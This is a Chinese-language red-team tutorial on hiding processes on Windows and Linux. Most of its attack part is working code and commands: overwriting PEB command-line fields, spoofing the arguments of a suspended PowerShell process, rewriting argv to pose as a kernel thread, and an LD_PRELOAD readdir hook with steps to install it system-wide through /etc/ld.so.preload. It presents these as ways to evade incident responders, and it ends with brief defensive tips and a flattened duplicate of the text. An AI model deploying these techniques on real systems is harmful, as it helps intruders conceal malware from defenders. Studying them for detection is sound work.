在Windows&Linux中隐藏进程名称和参数达到隐藏的目的
字数 1026 2025-08-09 15:23:15

Windows & Linux 进程隐藏技术详解

前言

在渗透测试和红队行动中,隐藏进程名称和参数是提高隐蔽性的重要技术。当运行恶意命令后,应急响应人员通常会通过进程排查工具(如Windows的任务管理器或Linux的ps命令)来发现可疑活动。通过修改进程名称和参数,可以延缓被发现的时间,提高进程存活率。

Windows 进程隐藏技术

1. 修改PEB结构

Windows中的进程环境块(PEB)存储着每个进程的运行时数据,包括启动参数和程序基地址等信息。

技术原理:

  • PEB包含_RTL_USER_PROCESS_PARAMETERS结构体,其中存储了命令行参数和映像路径
  • 通过修改这些字段可以改变进程显示的名称和参数

实现步骤:

  1. 获取进程PEB:
#include "Windows.h"
#include "winternl.h"
#include "stdio.h"

typedef NTSTATUS(*MYPROC) (HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG);

int main()
{
    HANDLE h = GetCurrentProcess();
    PROCESS_BASIC_INFORMATION ProcessInformation;
    ULONG lenght = 0;
    HINSTANCE ntdll;
    MYPROC GetProcessInformation;
    wchar_t commandline[] = L"C:\\windows\\system32\\notepad.exe";
    ntdll = LoadLibrary(TEXT("Ntdll.dll"));

    // 解析NtQueryInformationProcess地址
    GetProcessInformation = (MYPROC)GetProcAddress(ntdll, "NtQueryInformationProcess");

    // 获取_PEB对象
    (GetProcessInformation)(h, ProcessBasicInformation, &ProcessInformation, sizeof(ProcessInformation), &lenght);

    // 修改命令行和映像路径
    ProcessInformation.PebBaseAddress->ProcessParameters->CommandLine.Buffer = commandline;
    ProcessInformation.PebBaseAddress->ProcessParameters->ImagePathName.Buffer = commandline;
    getchar();
    return 0;
}
  1. 创建挂起进程并修改参数:
#include <iostream>
#include <Windows.h>
#include <winternl.h>

typedef NTSTATUS(*NtQueryInformationProcess2)(
    IN HANDLE,
    IN PROCESSINFOCLASS,
    OUT PVOID,
    IN ULONG,
    OUT PULONG
    );

// 辅助函数省略...

int main(int argc, char **canttrustthis)
{
    STARTUPINFOA si;
    PROCESS_INFORMATION pi;
    CONTEXT context;
    BOOL success;
    PROCESS_BASIC_INFORMATION pbi;
    DWORD retLen;
    SIZE_T bytesRead;
    PEB pebLocal;
    RTL_USER_PROCESS_PARAMETERS *parameters;

    // 创建挂起进程
    success = CreateProcessA(
        NULL, 
        (LPSTR)"powershell.exe -NoExit -c Write-Host 'This is just a friendly argument, nothing to see here'", 
        NULL, 
        NULL, 
        FALSE, 
        CREATE_SUSPENDED | CREATE_NEW_CONSOLE,
        NULL, 
        "C:\\Windows\\System32\\", 
        &si, 
        &pi);

    // 获取PEB信息
    NtQueryInformationProcess2 ntpi = (NtQueryInformationProcess2)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryInformationProcess");
    ntpi(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &retLen);

    // 读取PEB
    success = ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &pebLocal, sizeof(PEB), &bytesRead);

    // 获取进程参数
    parameters = (RTL_USER_PROCESS_PARAMETERS*)readProcessMemory(
        pi.hProcess, 
        pebLocal.ProcessParameters, 
        sizeof(RTL_USER_PROCESS_PARAMETERS) + 300
    );

    // 修改参数
    WCHAR spoofed[] = L"powershell.exe -NoExit -c Write-Host Surprise, arguments spoofed\0";
    success = writeProcessMemory(pi.hProcess, parameters->CommandLine.Buffer, (void*)spoofed, sizeof(spoofed));

    // 修改参数长度
    DWORD newUnicodeLen = 28;
    success = writeProcessMemory(
        pi.hProcess, 
        (char *)pebLocal.ProcessParameters + offsetof(RTL_USER_PROCESS_PARAMETERS, CommandLine.Length), 
        (void*)&newUnicodeLen, 
        4
    );

    // 恢复线程执行
    ResumeThread(pi.hThread);
}

效果:

  • 进程创建事件记录显示的是修改前的正常参数
  • 实际执行的是修改后的"恶意"命令
  • Cobalt Strike中的argue命令也使用了类似技术

Linux 进程隐藏技术

1. 修改argv[0]

技术原理:

  • Linux中进程信息存储在/proc/[pid]/stat文件中
  • 通过修改argv[0]可以改变进程显示名称

实现代码:

#!/usr/bin/env python
import ctypes
import os

class Stat():
    def add(self, pid, comm, state, ppid, pgrp, session, tty_nr, tpgid, flags, minflt, cminflt, majflt, cmajflt, utime,
            stime, cutime, cstime, priority, nice, num_threads, itrealvalue, starttime, vsize, rss, rsslim, startcode,
            endcode, startstack, kstkesp, kstkeip, signal, blocked, sigignore, sigcatch, wchan, nswap, cnswap,
            exit_signal, processor, rt_priority, policy, delayacct_blkio_ticks, guest_time,
            cguest_time, start_data, end_data, start_brk, arg_start, arg_end, env_start, env_end, exit_code):
        self.argv = (int(arg_start), int(arg_end))
        self.env = (int(env_start), int(env_end))

def parse_proc_stat():
    with open("/proc/self/stat", "r") as fh:
        a = tuple(fh.read().split())
    s = Stat()
    s.add(*a)
    return s

def memcpy(dest, source):
    start, end = dest
    if len(source) > end - start:
        raise ValueError("ma jel")
    ptr = ctypes.POINTER(ctypes.c_wchar)
    idx = 0
    write = ''
    for tmp in range(start, end-1):
        a = ctypes.cast(tmp, ptr)
        if idx >= len(source):
            write = "\x00"
        else:
            write = source[idx]
        a.contents.value = write
        idx += 1

def change_argv(argv="/bin/bash", env=""):
    info = parse_proc_stat()
    memcpy(info.argv, argv) # 修改argv
    memcpy(info.env, env) # 修改环境变量

if __name__=="__main__":
    print "pid: %s"%os.getpid()
    change_argv(argv="[kworker/2:0]") # 修改为内核进程名
    import time
    while True:
        time.sleep(1)

替代方法:

使用bash的exec命令:

exec -a "xxx" sleep 10000

这将使sleep命令在进程列表中显示为xxx

2. 通过LD_PRELOAD劫持系统调用

技术原理:

  • ps等工具通过读取/proc文件系统获取进程信息
  • 通过LD_PRELOAD劫持readdir等函数可以过滤特定进程

实现代码:

#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <unistd.h>

static const char* process_to_filter = "hide_process.py";

static int get_dir_name(DIR* dirp, char* buf, size_t size) {
    int fd = dirfd(dirp);
    if(fd == -1) return 0;
    char tmp[64];
    snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
    ssize_t ret = readlink(tmp, buf, size);
    if(ret == -1) return 0;
    buf[ret] = 0;
    return 1;
}

static int get_process_name(char* pid, char* buf) {
    if(strspn(pid, "0123456789") != strlen(pid)) return 0;
    char tmp[256];
    snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);
    FILE* f = fopen(tmp, "r");
    if(f == NULL) return 0;
    if(fgets(tmp, sizeof(tmp), f) == NULL) {
        fclose(f);
        return 0;
    }
    fclose(f);
    int unused;
    sscanf(tmp, "%d (%[^)]s", &unused, buf);
    return 1;
}

#define DECLARE_READDIR(dirent, readdir)                                \
static struct dirent* (*original_##readdir)(DIR*) = NULL;               \
                                                                        \
struct dirent* readdir(DIR *dirp)                                       \
{                                                                       \
    if(original_##readdir == NULL) {                                    \
        original_##readdir = dlsym(RTLD_NEXT, #readdir);               \
        if(original_##readdir == NULL)                                  \
        {                                                               \
            fprintf(stderr, "Error in dlsym: %s\n", dlerror());         \
        }                                                               \
    }                                                                   \
                                                                        \
    struct dirent* dir;                                                 \
                                                                        \
    while(1)                                                            \
    {                                                                   \
        dir = original_##readdir(dirp);                                 \
        if(dir) {                                                       \
            char dir_name[256];                                         \
            char process_name[256];                                     \
            if(get_dir_name(dirp, dir_name, sizeof(dir_name)) &&        \
                strcmp(dir_name, "/proc") == 0 &&                       \
                get_process_name(dir->d_name, process_name) &&          \
                strcmp(process_name, process_to_filter) == 0) {         \
                continue;                                               \
            }                                                           \
        }                                                               \
        break;                                                          \
    }                                                                   \
    return dir;                                                         \
}

DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);

部署方法:

gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
sudo mv libprocesshider.so /usr/local/lib/
echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

效果:

  • 指定的进程将不会出现在ps等工具的输出中
  • 通过比较/proc和ps输出的传统检测方法也会失效

总结

Windows隐藏技术要点:

  1. 通过修改PEB中的CommandLineImagePathName字段
  2. 创建挂起进程→修改参数→恢复执行流程
  3. 配合shellcode加载器使用效果更佳

Linux隐藏技术要点:

  1. 修改argv[0]改变进程显示名称
  2. 使用exec -a直接指定进程名
  3. LD_PRELOAD劫持系统调用过滤特定进程

防御建议:

  1. 使用内存取证工具检查PEB不一致
  2. 监控进程创建事件与实际情况对比
  3. Linux下使用静态编译的工具检查进程
  4. 监控/proc文件系统的异常访问

这些技术展示了攻击者如何隐藏进程活动,同时也提醒防御者需要采用多层次、多角度的检测方法才能有效发现此类隐蔽行为。

Windows & Linux 进程隐藏技术详解 前言 在渗透测试和红队行动中,隐藏进程名称和参数是提高隐蔽性的重要技术。当运行恶意命令后,应急响应人员通常会通过进程排查工具(如Windows的任务管理器或Linux的ps命令)来发现可疑活动。通过修改进程名称和参数,可以延缓被发现的时间,提高进程存活率。 Windows 进程隐藏技术 1. 修改PEB结构 Windows中的进程环境块(PEB)存储着每个进程的运行时数据,包括启动参数和程序基地址等信息。 技术原理: PEB包含 _RTL_USER_PROCESS_PARAMETERS 结构体,其中存储了命令行参数和映像路径 通过修改这些字段可以改变进程显示的名称和参数 实现步骤: 获取进程PEB: 创建挂起进程并修改参数: 效果: 进程创建事件记录显示的是修改前的正常参数 实际执行的是修改后的"恶意"命令 Cobalt Strike中的 argue 命令也使用了类似技术 Linux 进程隐藏技术 1. 修改argv[ 0 ] 技术原理: Linux中进程信息存储在 /proc/[pid]/stat 文件中 通过修改argv[ 0 ]可以改变进程显示名称 实现代码: 替代方法: 使用bash的exec命令: 这将使 sleep 命令在进程列表中显示为 xxx 2. 通过LD_ PRELOAD劫持系统调用 技术原理: ps等工具通过读取 /proc 文件系统获取进程信息 通过LD_ PRELOAD劫持 readdir 等函数可以过滤特定进程 实现代码: 部署方法: 效果: 指定的进程将不会出现在ps等工具的输出中 通过比较 /proc 和ps输出的传统检测方法也会失效 总结 Windows隐藏技术要点: 通过修改PEB中的 CommandLine 和 ImagePathName 字段 创建挂起进程→修改参数→恢复执行流程 配合shellcode加载器使用效果更佳 Linux隐藏技术要点: 修改argv[ 0 ]改变进程显示名称 使用exec -a直接指定进程名 LD_ PRELOAD劫持系统调用过滤特定进程 防御建议: 使用内存取证工具检查PEB不一致 监控进程创建事件与实际情况对比 Linux下使用静态编译的工具检查进程 监控/proc文件系统的异常访问 这些技术展示了攻击者如何隐藏进程活动,同时也提醒防御者需要采用多层次、多角度的检测方法才能有效发现此类隐蔽行为。